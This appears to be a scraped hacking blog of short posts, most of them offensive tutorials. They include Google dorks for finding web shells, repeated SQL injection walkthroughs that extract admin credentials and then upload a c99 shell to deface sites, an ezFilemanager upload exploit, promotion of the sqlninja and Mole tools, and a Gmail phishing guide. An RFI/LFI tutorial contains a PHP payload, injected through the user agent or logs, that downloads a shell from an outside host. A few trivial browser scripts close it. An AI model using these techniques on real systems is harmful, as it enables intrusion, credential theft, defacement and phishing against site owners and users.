Find Shells Using "Index of /sh3llZ" Google Dork 04.15

After getting the admin access hackers are Uploading their control penal (that’s call shell). Shell allows hackers to hack/deface the website and using the shell hacker can get root access. Sometime hackers left the shell in vulnerable sits. And here is some Google dorks which helps you to find the shells.

intitle:index of/sh3llZ

"Index of /sh3llZ"

"/sh3llZ/uploadshell/uploadshell.php

You can see in the above figure there are some shells like c99.php , c100.php etc. using that shell u can upload your shell and you can also deface that site.

Credits:
Devils cafe

SQL INJECTION (From start to Defacement) 14.37

Here I am going to tech you how to hack website using sql injection. Follow the steps

FINDING THE TARGET AND GETTING THE ADMIN PASSWORD.

First we should find our target website for that you can use this DORKS.

I am mostly using “ inurl:php?id= ”and giving you some dorks here copy any one and paste it in google and search. click here for more dorks.

Check for vulnerability.

well assume that we have one site like this

http://www.site.com/news.php?id=5

Now to test if its valuable we need to add ‘ (quote)after the end of url.

and that will be http://www.site.com/news.php?id=5’

after that hit Enter and if you got some error or if you found some missing content or missing pictures that means its vulnerable to sql injection.

Find the number of columns.

To find number of columns we use statement ORDER BY (tells database how to order the result)
so how to use it? Well just incrementing the number until we get an error.
http://www.site.com/news.php?id=5 order by 1/* <-- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* <-- no error
http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)
that means that the it has 3 columns, cause we got an error on 4.
Check for UNION function
With union we can select more data in one sql statement.
so we have
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2)(
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)
Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.
let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*
if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
i didn't see any paper covering this problem, so i must write it :)
what we need is convert() function
i.e.
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
or with hex() and unhex()
i.e.
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version :D
Getting table and column name
well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases. common table names are: user/s, admin/s, member/s.
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...
i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before, and that's good )
we know that table admin exists. now to check column names.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)
we get username displayed on screen, example would be admin, or superadmin etc. now to check if column password exists
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)
we seen password on the screen in hash or plain-text, it depends of how the database is set up :)
i.e md5 hash, mysql hash, sha1. now we must complete query to look nice for that we can use concat() function (it joins strings)
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon) (there is another way for that, char(58), ascii value for : )
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
now we get dislayed username:password on screen, i.e admin:admin or admin:somehash when you have this, you can login like admin or some superuser. if can't guess the right table name, you can always try mysql.user (default) it has user i password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
MySQL 5
Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.
For this we need information_schema. It holds all tables and columns in database.
to get tables we use table_name and information_schema.tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
i.e
http://www.site.com/news.php?id=5%20union%20all%20select%201,table_name,3%20from%20information_schema.tables%20limit%200,1/*
note that i put 0,1 (get 1 result starting from the 0th) now to view the second table, we change limit 0,1 to limit 1,1
i.e
http://www.site.com/news.php?id=5%20union%20all%20select%201,table_name,3%20from%20information_schema.tables%20limit%201,1/*
the second table is displayed.
for third table we put limit 2,1
i.e
http://www.site.com/news.php?id=5%20union%20all%20select%201,table_name,3%20from%20information_schema.tables%20limit%202,1/*
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc. To get the column names the method is the same. Here we use column_name and information_schema.columns
the method is same as above so example would be.
http://www.site.com/news.php?id=5union%20all%20select%201,column_name,3%20from%20information_schema.columns%20limit%200,1/*
the first column is diplayed. the second one (we change limit 0,1 to limit 1,1)
ie.
http://www.site.com/news.php?id=5%20union%20all%20select%201,column_name,3%20from%20information_schema.columns%20limit%201,1/*
the second column is displayed, so keep incrementing until you get something like
username,user,login, password, pass, passwd etc. if you wanna display column names for specific table use this query. (where clause)
let's say that we found table users.
i.e
http://www.site.com/news.php?id=5%20union%20all%20select%201,column_name,3%20from%20information_schema.columns%20where%20table_name=%27users%27/*
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
Note that this won't work if the magic quotes is ON. let's say that we found colums user, pass and email.
now to complete query to put them all together for that we use concat() , i decribe it earlier.
i.e
http://www.site.com/news.php?id=5%20union%20all%20select%201,concat%28user,0x3a,pass,0x3a,email%29%20from%20users/*
what we get here is user:pass:email from table users.
example: admin:hash:whatever@blabla.com

DEFACING THE WEBSITE

After getting the password you can login as the admin of the site. But first you have to find the admin login page for the site. there r three methods to find the admin panel.

Now find the upload option and upload your shell (if you don’t have shell then click here to download)

some sites wont allow you to upload a php file. so rename it as c99.php.gif then upload it.
after that go to http://www.site.com/images (in most sites images are saved in this dir but if you cant find c99 there then you have to guess the dir) find the c99.php.gif and click it now you can see a big control pannel.
now you can do what ever you want to do.
search for the index.html file and replace it with your own deface page. so if any one goes to that site they will see your page.

And you have did !! hope this tutorials helped you a little.

Happy hacking

Admin finder perl script 15.40

The things you need
1. Active perl (click here to download)
2. admin finder script (click here to download )
Install the active perl and extract the archive in to “c:\perl\bin” now go to start > run and type CMD and hit enter now type “cd c:\perl\bin” and hit enter after that paste the perl script name “admin_CP_finder.pl ” and just hit enter now enter the site which you want to find admin penal and hit enter (I have hide my site) and now enter the source code of the website (my site have asp source code so I have added 2) and just hit enter. you will found the admin penal. Happy hacking.

EzFilemanager Deface Upload vulnerability 04.00

Google dork for EzFilemanager is “ inurl:ezfilemanager/ezfilemanager.php ”

(you can modify this dork for getting mor results from Google )

Exploit : http://[xxx]/xxx/tiny_mce/plugins/ezfilemanager/ezfilemanager.php?sa=1&type=file

Go to this url : website.com/lap/includes/tiny_mce/plugins/ezfilemanager/ezfilemanager.php and

put ?sa=1&type=file after URL

now url will be : http://website/PATCH/tiny_mce/plugins/ezfilemanager/ezfilemanager.php?sa=1&type=file
now see the upload option and you can upload ,html ,pdf ,ppt ,txt ,doc ,rtf ,xml ,xsl ,dtd ,zip ,rar ,jpg ,png files

live Demo
result

The Mole – Automatic SQL Injection SQLi Exploitation Tool 03.09

The Mole – Automatic SQL Injection SQLi Exploitation Tool

The Nole is an automatic SQL injection exploitation tool. YOou just need to provide SQL vulnerable LINK and valid string on the shitty site and it can detect the injection and it will exploit it using union technique or a boolean query based technique. You can hack any sql vulnerable website using this tool.

 Features

• Support for injections using Mysql, SQL Server, Postgres and Oracle databases.
• Command line interface. Different commands trigger different actions.
• Developed in python 3.
• Support for query filters, in order to bypass certain IPS/IDS rules using generic filters, and the possibility of creating new ones easily.
• Auto-completion for commands, command arguments and database, table and columns names.

You can download it from here

Windows: themole-0.2.6-win32.zip

 Linux: themole-0.2.6-lin-src.tar.gz

 If you want to know how to use this tool then click here

Hack website using SQL INJECTION 23.49

In this tutorial I am going to Show you how sql injection works and how its useful to get the database from website .

What is SQL Injection ?
Its most common web application venerability. Its allows attacker to execute SQL queries so website got hacked.

There are tow types of sql injection 

1.SQL Injection

2.Blind SQL Injection
So lets start

1.Check for vulnerability
Most famous google dork is "inurl:php?id="
Let’s say that we have some site like this
http://www.site.com/journal.php?id=6
Now to test if is vulrnable we add to the end of url ‘ (quote),
and that would be http://www.site.com/journal.php?id=6′
so if we get some error like
“You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc…”
that means is vulrnable to sql injection

2 Find the number of columns
To find number of columns we use statement ORDER BY (tells database how to order the result)
Now we need to Increase  the number until we get an error like above.
http://www.site.com/journal.php?id=6 order by 1/* <– no error
http://www.site.com/journal.php?id=6 order by 2/* <– no error
http://www.site.com/journal.php?id=6 order by 3/* <– no error
http://www.site.com/journal.php?id=6 order by 4/* <– error (we get message like this Unknown column ‘4′ in ‘order clause’ or something like that)
that means that the it has 3 columns, cause we got an error on 4.

3.Check for UNION function (for finding most venerable number )
http://www.site.com/journal.php?id=6 union all select 1,2,3/*
If you havnt got the number then try adding "-" sign. after id= then url will be become like
http://www.site.com/journal.php?id=-6 union all select 1,2,3/*
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works

4 Check for MySQL version
http://www.site.com/journal.php?id=6 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try –
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
it should look like this http://www.site.com/journal.php?id=6 union all select 1,@@version,3/*
if you get an error “union + illegal mix of collations (IMPLICIT + COERCIBLE) …”
i didn’t see any paper covering this problem, so i must write it
what we need is convert() function
i.e.
http://www.site.com/journal.php?id=6 union all select 1,convert(@@version using latin1),3/*
or with hex() and unhex()
i.e.
http://www.site.com/journal.php?id=6 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version

5. Getting table and column name
well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12…) <— later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.
common table names are: user/s, admin/s, member/s …
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc…
i.e would be
http://www.site.com/journal.php?id=6 union all select 1,2,3 from admin/*
we know that table admin exists.
now to check column names.
http://www.site.com/journal.php?id=6 union all select 1,username,3 from admin/* (we get username displayed on screen, example would be admin, or superadmin etc.
now to check if column password exists
http://www.site.com/journal.php?id=6 union all select 1,password,3 from admin/*
we seen password on the screen in hash or plain-text, it depends of how the database is set up
i.e md5 hash, mysql hash, sha1
for that we can use concat() function (it joins strings)
i.e
http://www.site.com/journal.php?id=6 union all select 1,concat(username,0×3a,password),3 from admin/*
Note that i put 0×3a, its hex value for : (so 0×3a is hex value for colon)
(there is another way for that, char(58), ascii value for : )
http://www.site.com/journal.php?id=6 union all select 1,concat(username,char(58),password),3 from admin/*
now we get dislayed username:password on screen, i.e admin:admin or admin:somehash
when you have this, you can login like admin or some superuser
if can’t guess the right table name, you can always try mysql.user (default)
it has user i password columns, so example would be
http://www.site.com/journal.php?id=6 union all select 1,concat(user,0×3a,password),3 from mysql.user/*

6 MySQL 5
Like i said before i’m gonna explain how to get table and column names
in MySQL > 5.
For this we need information_schema. It holds all tables and columns in database.
to get tables we use table_name and information_schema.tables.
i.e
http://www.site.com/journal.php?id=6 union all select 1,table_name,3 from information_schema.tables/*
here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
i.e
http://www.site.com/journal.php?id=6 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
note that i put 0,1
now to view the second table, we change limit 0,1 to limit 1,1
i.e
http://www.site.com/journal.php?id=6 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
the second table is displayed.
for third table we put limit 2,1
i.e
http://www.site.com/journal.php?id=6 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc…
To get the column names the method is the same.
here we use column_name and information_schema.columns
the method is same as above so example would be
http://www.site.com/journal.php?id=6 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
the first column is diplayed.
the second one
ie.
http://www.site.com/journal.php?id=6 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
the second column is displayed, so keep incrementing until you get something like
username,user,login, password, pass, passwd etc…
if you wanna display column names for specific table use this query. (where clause)
let’s say that we found table users.
i.e
http://www.site.com/journal.php?id=6 union all select 1,column_name,3 from information_schema.columns where table_name=’users’/*
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
we found colums user, pass and email.
now to complete query to put them all together
for that we use concat() , i decribe it earlier.
i.e
http://www.site.com/journal.php?id=6 union all select 1,concat(user,0×3a,pass,0×3a,email) from users/*
what we get here is user:pass:email from table users.
example: admin:hash:whatever@blabla.com
Now find the Admin panel and login as ADMIN :D
Learn More....

Sqlninja 0.2.6 is now available to download 04.51

Sqlninja’s goal is to exploit SQL injection vulnerabilities on web applications that use Microsoft SQL Server as back end. It is released under the GPLv3.There are a lot of other SQL injection tools out there but sqlninja, instead of extracting the data, focuses on getting an interactive shell on the remote DB server and using it as a foothold in the target network.

Here’s what it does:

• Fingerprint of the remote SQL Server (version, user performing the queries, user privileges, xp_cmdshell availability, DB authentication mode)
• Bruteforce of 'sa' password (in 2 flavors: dictionary-based and incremental)
• Privilege escalation to sysadmin group if 'sa' password has been found
• Creation of a custom xp_cmdshell if the original one has been removed
• Upload of netcat (or any other executable) using only normal HTTP requests (no FTP/TFTP needed)
• TCP/UDP portscan from the target SQL Server to the attacking machine, in order to find a port that is allowed by the firewall of the target network and use it for a reverse shell
• Direct and reverse bindshell, both TCP and UDP
• ICMP-tunneled shell, when no TCP/UDP ports are available for a direct/reverse shell but the DB can ping your box
• DNS-tunneled pseudo-shell, when no TCP/UDP ports are available for a direct/reverse shell, but the DB server can resolve external hostnames (check the documentation for details about how this works)
• Evasion techniques to confuse a few IDS/IPS/WAF
• Integration with Metasploit3, to obtain a graphical access to the remote DB server through a VNC server injection
• Integration with churrasco.exe, to escalate privileges to SYSTEM on w2k3 via token kidnapping
• Support for CVE-2010-0232, to escalate the privileges of sqlservr.exe to SYSTEM

Download SqlNinja

Hack website using Sql Injection 10.54

In this tutorial i will describe how sql injection works and how to use it to get some useful information.
It's one of the most common vulnerability in web applications. It allows attacker to execute database query in url and gain access to some Information.

1). Check for vulnerability
Let's say that we have some site like this
http://www.site.com/news.php?id=5
Now to test if is vulrnable we add to the end of url '
and that would be http://www.site.com/news.php?id=5'
so if we get some error like
"You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right etc..."
or something similar
that means is vulrnable to sql injection .
2). Find the number of columns
To find number of columns we use statement ORDER BY
http://www.site.com/news.php?id=5 order by 1/* <-- no error
http://www.site.com/news.php?id=5 order by 2/* <-- no error
http://www.site.com/news.php?id=5 order by 3/* <-- no error
http://www.site.com/news.php?id=5 order by 4/* <-- error (we get message like this Unknown column '4' in 'order clause' or something like that)
that means that the it has 3 columns, cause we got an error on 4.
3). Check for UNION function
With union we can select more data in one sql statement.
so we have
http://www.site.com/news.php?id=5 union all select 1,2,3/* (we already found that number of columns are 3 in section 2). )
if we see some numbers on screen, i.e 1 or 2 or 3 then the UNION works :)
4). Check for MySQL version
http://www.site.com/news.php?id=5 union all select 1,2,3/* NOTE: if /* not working or you get some error, then try --
it's a comment and it's important for our query to work properly.
let say that we have number 2 on the screen, now to check for version
we replace the number 2 with @@version or version() and get someting like 4.1.33-log or 5.0.45 or similar.
it should look like this http://www.site.com/news.php?id=5 union all select 1,@@version,3/*
if you get an error "union + illegal mix of collations (IMPLICIT + COERCIBLE) ..."
i didn't see any paper covering this problem, so i must write it .
what we need is convert() function
i.e.
http://www.site.com/news.php?id=5 union all select 1,convert(@@version using latin1),3/*
or with hex() and unhex()
i.e.
http://www.site.com/news.php?id=5 union all select 1,unhex(hex(@@version)),3/*
and you will get MySQL version :D
5). Getting table and column name
well if the MySQL version is < 5 (i.e 4.1.33, 4.1.12...) <--- later i will describe for MySQL > 5 version.
we must guess table and column name in most cases.
common table names are: user/s, admin/s, member/s ...
common column names are: username, user, usr, user_name, password, pass, passwd, pwd etc...
i.e would be
http://www.site.com/news.php?id=5 union all select 1,2,3 from admin/* (we see number 2 on the screen like before)
we know that table admin exists...
now to check column names.
http://www.site.com/news.php?id=5 union all select 1,username,3 from admin/* (if you get an error, then try the other column name)
we get username displayed on screen, example would be admin, or superadmin etc...
now to check if column password exists
http://www.site.com/news.php?id=5 union all select 1,password,3 from admin/* (if you get an error, then try the other column name)
we seen password on the screen in hash or plain-text, it depends of how the database is set up :)
i.e md5 hash, mysql hash, sha1...
now we must complete query to look nice :)
for that we can use concat() function (it joins strings)
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(username,0x3a,password),3 from admin/*
Note that i put 0x3a, its hex value for : (so 0x3a is hex value for colon)
(there is another way for that, char(58), ascii value for : )
http://www.site.com/news.php?id=5 union all select 1,concat(username,char(58),password),3 from admin/*
now we get dislayed username:password on screen, i.e admin:admin or admin:somehash
when you have this, you can login like admin or some superuser
if can't guess the right table name, you can always try mysql.user (default)
it has user i password columns, so example would be
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,password),3 from mysql.user/*
6). MySQL 5
Like i said before i'm gonna explain how to get table and column names
in MySQL > 5.
For this we need information_schema. It holds all tables and columns in database.
to get tables we use table_name and information_schema.tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables/*
here we replace the our number 2 with table_name to get the first table from information_schema.tables
displayed on the screen. Now we must add LIMIT to the end of query to list out all tables.
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 0,1/*
note that i put 0,1 (get 1 result starting from the 0th)
now to view the second table, we change limit 0,1 to limit 1,1
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 1,1/*
the second table is displayed.
for third table we put limit 2,1
i.e
http://www.site.com/news.php?id=5 union all select 1,table_name,3 from information_schema.tables limit 2,1/*
keep incrementing until you get some useful like db_admin, poll_user, auth, auth_user etc... :D
To get the column names the method is the same.
here we use column_name and information_schema.columns
the method is same as above so example would be
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 0,1/*
the first column is diplayed.
the second one (we change limit 0,1 to limit 1,1)
ie.
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns limit 1,1/*
the second column is displayed, so keep incrementing until you get something like
username,user,login, password, pass, passwd etc.
if you wanna display column names for specific table use this query. (where clause)
let's say that we found table users.
i.e
http://www.site.com/news.php?id=5 union all select 1,column_name,3 from information_schema.columns where table_name='users'/*
now we get displayed column name in table users. Just using LIMIT we can list all columns in table users.
Note that this won't work if the magic quotes is ON.
let's say that we found colums user, pass and email.
\now to complete query to put them all together :D
for that we use concat() , i decribe it earlier.
i.e
http://www.site.com/news.php?id=5 union all select 1,concat(user,0x3a,pass,0x3a,email) from users/*
what we get here is user:pass:email from table users.
example: admin:hash:whatever@blabla.com

Hope you have learned Sql injection from this post.

How to hack gmail 09.45

There are many ways to hack Gmail accounts and the best way to hack G mail account is phishing.
The steps are as follow

1) you need to download fake page of gmail click here to download
2) Upload that fake page in any free hosting websites like my3gb which gives you 3 GB space.
3) Upload that two files in to my3gb
4) And send the link to the victim
Whenever your victim gets login from your fake page after that One file will created
like "Gmail-Passwords.htm" in that file includes the passwords of your victim.
Then simply login in to his/her gmail account.

three ways to update a shell 10.02

3 ways to upload a shell!
Alright so I'm bored again and writing this nice tutorial for you guys.

NOTE: This tutorial is COMPLETELY written by me from my experience, therefore I won't give credit to anyone.

This tutorial contains:
-> RFI
-> LFI method 1
-> LFI method 2

First, I will start with the RFI method.

RFI or Remote File Inclusion is a technique which allows you to include a remote file(from a URL) to a webscript.

Let's say we have a website called
Code:
http://www.v1ct1mp4g31337.com/​index.php?include=register.php

Now take a look at the part after "index.php?", do you see that "include=register.php" ? This is exactly what we are looking for.

Now try to include google by typing in
Code:
http://www.v1ct1mp4g31337.com/​index.php?include=http%3A%2F%2​Fwww.google.com

Now, if it displays the google page, you are able to include remote files. If it gives an error message, jump to the LFI part of the tutorial now.

Well, let's just say it worked and it displays google. Now we are going to include a shell(you can get one here). Do this by typing this into your URL bar:
Code:
http://www.v1ct1mp4g31337.com/​index.php?include=http%3A%2F%2​Fwww.z0mgh4x0rpage.com%2Fmaste​rshell.txt

WARNING: Put your shell ALWAYS in TXT format on your website, otherwise people will be able to access it and F*** with your server!!

Alright thats it! Now your shell is included and you can rape the victims webserver.

Now we are going for LFI method 1

NOTE: You will need FireFox and its addon Tamper Data to do this method!

LFI or Local File Inclusion allows you to include a local file(which means, that the file is stored on the server) and run it in a webscript.

In this method we are going to upload a shell by accessing the proc/self/environ.

Now we have our page
Code:
http://www.v1ct1mp4g31337.com/​index.php?include=register.php

And now we are going to do this:
Code:
http://www.v1ct1mp4g31337.com/​index.php?include=..%2F

If it gives you an error message, this is good. Best thing that can happen is, it says "No such file or directory". But anyways, now add this to your url:
Code:
http://www.v1ct1mp4g31337.com/​index.php?include=..%2Fetc%2Fp​asswd

And as long as there is no text other than an error message on the page, keep adding "../" to the URL, so it would be like:
Code:
http://www.v1ct1mp4g31337.com/​index.php?include=..%2Fetc%2Fp​asswd
http://www.v1ct1mp4g31337.com/​index.php?include=..%2F..%2Fet​c%2Fpasswd
http://www.v1ct1mp4g31337.com/​index.php?include=..%2F..%2F..​%2Fetc%2Fpasswd

And so on. Now let's say we got to this URL
Code:
http://www.v1ct1mp4g31337.com/​index.php?include=..%2F..%2F..​%2Fetc%2Fpasswd

And we see some huge shitty text we can not handle with. Now change the etc/passwd in the URL to proc/self/environ so it would look like this:
Code:
http://www.v1ct1mp4g31337.com/​index.php?include=..%2F..%2F..​%2Fproc%2Fself%2Fenviron

If you see some text, you did good, if you see an error message you did bad. Now this is the point where we use Tamper Data. Start you Tamper and reload the page, and for user agent you type in the following PHP script:
PHP Code:
<?php $file = fopen("shell.php","w+"); $stream = fopen ("http://www.z0mgh4x0rpage.com/m​astershell.txt", "r"); while(!feof($stream)) {
$shell .=fgets($stream); } fwrite($file, $shell); fclose($file);?>

This will execute the PHP script on the site and create a shell.php on the server. Why? Because the user agent is being displayed on the webpage, and if you put in a webscript for that, it will execute it.

Now simply access your shell by going to
Code:
http://www.v1ct1mp4g31337.com/​shell.php

And rape the server.

Now LFI method 2

NOTE: This only works on apache servers!

Alright you get back to the point where we tried to access the etc/passwd. You will do the same method, but not with etc/passwd, you will try to get access to apache/logs/error.log

If you have a brain, you should know how to do that, since it's EXACTLY the same method as on etc/passwd (explained in LFI method 1).

Now when you have found the file, open up cmd and type in
Code:
telnet www.v1ct1mp4g31337.com 80

When you are inside the telnet, you copy the following code(you use your own shell url ofc)
PHP Code:
<?php $file = fopen("shell.php","w+"); $stream = fopen ("http://www.z0mgh4x0rpage.com/m​astershell.txt", "r"); while(!feof($stream)) {
$shell .=fgets($stream); } fwrite($file, $shell); fclose($file);?>

Paste it into the telnet window, and press enter once or maybe twice(until you get an error message).

Now refresh the page in the browser(error.log) once and there you go. The PHP script will be executed and your shell will get uploaded to the server. Access it by typing in the following into your browser:

Code:
http://www.v1ct1mp4g31337.com/​shell.php

I hope I could help you and Thank you is always appreciated!

How to hack website using sql injection 08.57

what is sql injection?

SQL Injections or simply called Structured Query Language Injection is a technique that exploits the loop hole in the database layer of the application. This happens when user mistakenly or purposely(hackers) enters the special escape characters into the username password authentication form or in URL of the website. Its called the coding standard loop hole. some website owners doesn't have proper knowledge of secure coding standards and that results into the vulnerable websites. Now assume , you opened a website and went to his Sign in or log in page. Now in username field you have entered something say yogesh and in the password box you pass some escape characters like ',",1=1, etc... Now if the website owner hasn't handled null character strings or escape characters then user will surely get something else that owner never want their users to view.. This is basically called Blind SQL. 

Some basic requirements for sql injection:
1) you need a web browser to open URL and to view source codes.
2) you need notepad++.
3) and very basic  queries of sql like insert , select , update , delete etc.

First of all you can hack those website using SQL injection hacks that allows some input fields from the visitor which can provide input to website like log in page , search page, feedback page etc.
Now a days , HTML pages use POST command to send parameter to another ASP/ASPX page.
Therefore, you may not see the parameter in the URL. You can check the source code of the HTML, and look for "FROM" tag in the HTML code. You may find something like this in some HTML codes:

<F O R M action=login.aspx method=post>
<I N P UT type=hidden name=user v a l u e=xyz>
< / F O R M>


Everything between the < F O R M > and < / F O R M > parameters(remove space in words) contains the crucial information and can help us to determine things in more detailed way.

There is alternate method for finding vulnerable website, the websites which have extension ASP, ASPX, JSP, CGI or PHP try to look for the URL's in which parameters are passed. Example is shown below:

http://example.com/login.asp?id=10

Now how to detect that this URL is vulnerable or not:

Start with single quote trick, take sample parameter as hi'or1=1--. Now in the above URL id is the parameter and 10 is its value. So when we pass hi'or1=1-- as parameter the URL will look like this:

http://example.com/login.asp?id=hi' or 1=1--

You can also do this with hidden field, for that you need to save the webpage and had to made changes to URL and parameters field and modify it accordingly. For example:

< F O R M action=http://example.com/login. asp method=p o s t >
< i n p u t  type=hidden name=abc value="hi' or 1=1--">
< / F O R M >

 If your luck is favoring you, you will get the login into the website without any username or password.

                                 

But why ' or 1=1-- ?
Take an asp page that will link you to another page with the following URL:

http://example.com/search.asp?category=sports

In this URL 'category' is the variable name and 'sports' is it's value.

Here this request fires following query on the database in background.

SELECT * FROM TABLE-NAME WHERE category='sports'

Where 'TABLE-NAME' is the name of table which is already present in some database.
So, this query returns all the possible entries from table 'search' which comes under the category 'sports'.

Now, assume that we change the URL into something like this:

http://example.com/search.asp?category=sports' or 1=1--

Now, our variable 'category' equals to "sports' or 1=1-- ", which fires SQL query on database something like: SELECT * FROM search WHERE category='sports' or 1=1--'
 

The query should now select everything from the 'search' table regardless if category is equal to 'sports' or not.
A double dash "--" tell MS SQL server to ignore the rest of the query, which will get rid of the last hanging single quote (').
Sometimes, it may be possible to replace double dash with single hash "#".

However, if it is not an SQL server, or you simply cannot ignore the rest of the query, you also may try

' or 'a'='a

 
It should return the same result.
Depending on the actual SQL query, you may have to try some of these possibilities:
' or 1=1--
" or 1=1--
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
'or''='

EDIT ANY SITE!!!!!!!!!! 00.47

I have typed one java script.
it will help you to edit any site.

javascript:nick=document.body;nick.contentEditable='true'; document.designMode='on'; void(0)

just copy it & paste in your address bar.

enjoy!!

DONT FORGET TO COMMENT

SPEAKING PC 00.34

HERE i m posting one script using that script you can make speaking pc

Dim message, sapi
message=InputBox("What do you want me to say?","computertipsnfacts.blogspot.com")
Set sapi=CreateObject("sapi.spvoice")
sapi.Speak message


just save above as anything.vbs


dont forget to comment

cool move of your browser 23.57

here one java seript which can move your browser


javascript:a=0;x=0;y=0;setInterval("a+=.01;x=Math.cos(a*3)*200;y=Math.sin(a*2)*2;moveBy(x,y)",2);void(0)

psate the above script in your addressbar & hit enter


DONT FORGET TO COMMENT